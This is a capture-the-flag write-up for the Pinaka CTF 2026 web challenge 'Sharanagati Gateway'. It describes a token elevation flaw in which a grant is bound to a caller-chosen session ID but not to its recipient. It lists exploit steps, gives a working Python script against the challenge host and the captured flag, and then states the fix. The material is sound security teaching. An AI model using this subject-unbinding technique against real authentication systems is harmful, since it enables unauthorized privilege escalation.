Web Exploitation / Pinaka CTF 2026

Sharanagati Gateway: Session Identity Unbinding

02 Nov 2026 · 2 min read

Reuse a public grant’s session ID to expose an elevation check that binds sessions but fails to bind the recipient identity.

Result

PINAKA{vibhishana_sharanagati_session_bound_identity_unbound}

Vulnerability

The gateway issues provisional session tickets to newcomers, allowing them to choose a session ID (sid). A public Council grant for Sugriva contains its own sid. During elevation, the gateway verifies both signatures and requires ticket.sid == grant.sid, but does not require ticket.sub == grant.sub. It then issues a trusted ticket for the ticket's subject using the grant's scope.

Consequently, Vibhishana can claim the session ID from Sugriva's public grant in a provisional oath and use that grant to obtain a trusted ticket for himself, despite having no Council grant.

Exploit

  1. Fetch GET /gateway/roster and take Sugriva's public grant.
  2. Decode the first, base64url-encoded segment of the grant and read its sid (7a57ebc8dd3a0ace58381452). The token payload is authenticated, but not encrypted.
  3. Request POST /oath/swear with {"name":"vibhishana","sid":"7a57ebc8dd3a0ace58381452"}. This returns a gateway-signed provisional ticket for Vibhishana.
  4. Submit that ticket and Sugriva's grant to POST /refuge/elevate. The gateway returns a trusted ticket whose sub is vibhishana and whose scope is camp:inner.
  5. Submit the trusted ticket to POST /refuge/sanctum to receive the flag.

The following script reproduces the flow without hardcoding either token:

python
import base64
import json
import urllib.request

BASE = "http://130.210.48.10:9009"


def request(path, payload=None):
    data = None if payload is None else json.dumps(payload).encode()
    req = urllib.request.Request(
        BASE + path,
        data=data,
        headers={"Content-Type": "application/json"} if data else {},
    )
    with urllib.request.urlopen(req) as response:
        return json.load(response)


roster = request("/gateway/roster")
grant = roster["grants_on_record"][0]["grant"]
encoded_payload = grant.split(".", 1)[0]
padding = "=" * (-len(encoded_payload) % 4)
sid = json.loads(base64.urlsafe_b64decode(encoded_payload + padding))["sid"]

provisional = request("/oath/swear", {"name": "vibhishana", "sid": sid})["ticket"]
trusted = request("/refuge/elevate", {"ticket": provisional, "grant": grant})["ticket"]
print(request("/refuge/sanctum", {"ticket": trusted}))

The sanctum returned result: accepted, sub: vibhishana, and the flag above.

Root cause and fix

The elevation check binds the grant to a session ID but not to its named recipient. Require ticket.sub == grant.sub before issuing a trusted ticket. Since callers can choose sid when swearing an oath, the session ID alone cannot establish grant ownership.